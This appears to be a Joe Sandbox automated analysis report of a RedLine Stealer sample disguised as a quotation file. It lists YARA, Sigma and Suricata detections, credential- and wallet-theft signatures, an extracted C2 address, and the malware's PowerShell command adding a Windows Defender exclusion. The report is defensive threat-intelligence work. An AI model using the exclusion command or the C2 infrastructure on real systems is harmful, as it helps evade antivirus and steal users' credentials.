Edit tour

Windows Analysis Report
QUOTATION#09678.exe

Overview

General Information

Sample name:	QUOTATION#09678.exe
Analysis ID:	1546607
MD5:	4e5909728a72eb29f5cf1fe01867c982
SHA1:	8d0638e33dd590d0ca6ad6918d7e3e25762613d4
SHA256:	e87c540a4074fccadf3a56a1a0ef71bc952382d21c366c2a969e8d52bb25d609
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected RedLine Stealer

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Disables UAC (registry)

Found many strings related to Crypto-Wallets (likely being stolen)

Initial sample is a PE file and has a suspicious name

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file does not import any functions

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

QUOTATION#09678.exe (PID: 764 cmdline: "C:\Users\user\Desktop\QUOTATION#09678.exe" MD5: 4E5909728A72EB29F5CF1FE01867C982)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3992 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7064 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

InstallUtil.exe (PID: 5652 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

conhost.exe (PID: 1520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

InstallUtil.exe (PID: 3712 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 3808 cmdline: C:\Windows\system32\WerFault.exe -u -p 764 -s 1056 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["94.141.120.6:55123"], "Bot Id": "nwa"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000005.00000002.2385941630.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2268869258.000002CC91C21000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x2bec2:$a4: get_ScannedWallets 0x43d0a:$a4: get_ScannedWallets 0x2ad20:$a5: get_ScanTelegram 0x42b68:$a5: get_ScanTelegram 0x2bb46:$a6: get_ScanGeckoBrowsersPaths 0x4398e:$a6: get_ScanGeckoBrowsersPaths 0x29962:$a7: <Processes>k__BackingField 0x417aa:$a7: <Processes>k__BackingField 0x27874:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3f6bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x29296:$a9: <ScanFTP>k__BackingField 0x410de:$a9: <ScanFTP>k__BackingField
00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 764	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 764	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 764	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 764	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: QUOTATION#09678.exe PID: 764	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0xa74b:$a4: get_ScannedWallets 0x95f2:$a5: get_ScanTelegram 0xa3d4:$a6: get_ScanGeckoBrowsersPaths 0x8285:$a7: <Processes>k__BackingField 0x57b8:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x7bb9:$a9: <ScanFTP>k__BackingField
Process Memory Space: InstallUtil.exe PID: 5652	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5652	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: InstallUtil.exe PID: 5652	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0xe9a99:$a4: get_ScannedWallets 0xe8940:$a5: get_ScanTelegram 0xe9722:$a6: get_ScanGeckoBrowsersPaths 0xe75d3:$a7: <Processes>k__BackingField 0xe4b06:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xe6f07:$a9: <ScanFTP>k__BackingField
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
5.2.InstallUtil.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
5.2.InstallUtil.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165e6:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165c7:$v2_6: GetUpdates
0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.QUOTATION#09678.exe.2cc91c398f8.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147e6:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147c7:$v2_6: GetUpdates
0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.QUOTATION#09678.exe.2cc91c51740.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147e6:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147c7:$v2_6: GetUpdates
0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.2.QUOTATION#09678.exe.2cc91c51740.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165e6:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165c7:$v2_6: GetUpdates
0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b412:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a270:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b096:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28eb2:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26dc4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287e6:$a9: <ScanFTP>k__BackingField
0.2.QUOTATION#09678.exe.2cc91c398f8.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282d2:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b989:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f78:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2aec1:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x284d3:$v2_2: get_ScanVPN 0x28576:$v2_2: get_ScanFTP
Click to see the 15 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\QUOTATION#09678.exe", ParentImage: C:\Users\user\Desktop\QUOTATION#09678.exe, ParentProcessId: 764, ParentProcessName: QUOTATION#09678.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, ProcessId: 3992, ProcessName: powershell.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\QUOTATION#09678.exe", ParentImage: C:\Users\user\Desktop\QUOTATION#09678.exe, ParentProcessId: 764, ParentProcessName: QUOTATION#09678.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\QUOTATION#09678.exe" -Force, ProcessId: 3992, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:15.616264+0100	2022930	1	A Network Trojan was detected	4.245.163.56	443	192.168.2.5	49714	TCP
2024-11-01T08:37:53.032015+0100	2022930	1	A Network Trojan was detected	172.202.163.200	443	192.168.2.5	49907	TCP

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:07.276183+0100	2045000	1	Malware Command and Control Activity Detected	94.141.120.6	55123	192.168.2.5	49704	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:10.843296+0100	2046056	1	A Network Trojan was detected	94.141.120.6	55123	192.168.2.5	49704	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:10.843296+0100	2045001	1	Malware Command and Control Activity Detected	94.141.120.6	55123	192.168.2.5	49704	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:02.327438+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.5	49704	94.141.120.6	55123	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:07.762128+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.5	49704	94.141.120.6	55123	TCP

ETPRO MALWARE RedLine - GetUpdates Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:23.636487+0100	2848200	1	Malware Command and Control Activity Detected	192.168.2.5	49754	94.141.120.6	55123	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-01T08:37:10.894641+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.5	49712	94.141.120.6	55123	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 5.2.InstallUtil.exe.400000.0.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["94.141.120.6:55123"], "Bot Id": "nwa"}

Multi AV Scanner detection for domain / URL

Source: 94.141.120.6:55123

Virustotal: Detection: 15%

Perma Link

Multi AV Scanner detection for submitted file

Source: QUOTATION#09678.exe	Virustotal: Detection: 31%			Perma Link
Source: QUOTATION#09678.exe	ReversingLabs: Detection: 28%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: QUOTATION#09678.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.2268426696.000002CC81774000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: QUOTATION#09678.exe PID: 764, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\installutil.exe.log

Jump to behavior

Source: QUOTATION#09678.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: mscorlib.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.pdb0 source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Drawing.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: mscorlib.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Drawing.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER9462.tmp.dmp.10.dr
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.pdbM source: WER9462.tmp.dmp.10.dr
Source:	Binary string: System.Core.ni.pdb source: WER9462.tmp.dmp.10.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER9462.tmp.dmp.10.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2849662 - Severity 1 - ETPRO MALWARE RedLine - CheckConnect Request : 192.168.2.5:49704 -> 94.141.120.6:55123
Source: Network traffic	Suricata IDS: 2045000 - Severity 1 - ET MALWARE RedLine Stealer - CheckConnect Response : 94.141.120.6:55123 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2849352 - Severity 1 - ETPRO MALWARE RedLine - SetEnvironment Request : 192.168.2.5:49712 -> 94.141.120.6:55123
Source: Network traffic	Suricata IDS: 2849351 - Severity 1 - ETPRO MALWARE RedLine - EnvironmentSettings Request : 192.168.2.5:49704 -> 94.141.120.6:55123
Source: Network traffic	Suricata IDS: 2045001 - Severity 1 - ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound : 94.141.120.6:55123 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 94.141.120.6:55123 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2848200 - Severity 1 - ETPRO MALWARE RedLine - GetUpdates Request : 192.168.2.5:49754 -> 94.141.120.6:55123

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 94.141.120.6:55123

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 55123
Source: unknown	Network traffic detected: HTTP traffic on port 55123 -> 49754

Source: global traffic

TCP traffic: 192.168.2.5:49704 -> 94.141.120.6:55123

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 94.141.120.6:55123Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/EnvironmentSettings"Host: 94.141.120.6:55123Content-Length: 144Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/SetEnvironment"Host: 94.141.120.6:55123Content-Length: 954986Expect: 100-continueAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 94.141.120.6:55123Content-Length: 954978Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

ASN Name: UNITLINE_RST_NET1RostovnaDonuRU UNITLINE_RST_NET1RostovnaDonuRU

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.245.163.56:443 -> 192.168.2.5:49714
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 172.202.163.200:443 -> 192.168.2.5:49907

Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
Source: unknown	TCP traffic detected without corresponding DNS query: 94.141.120.6
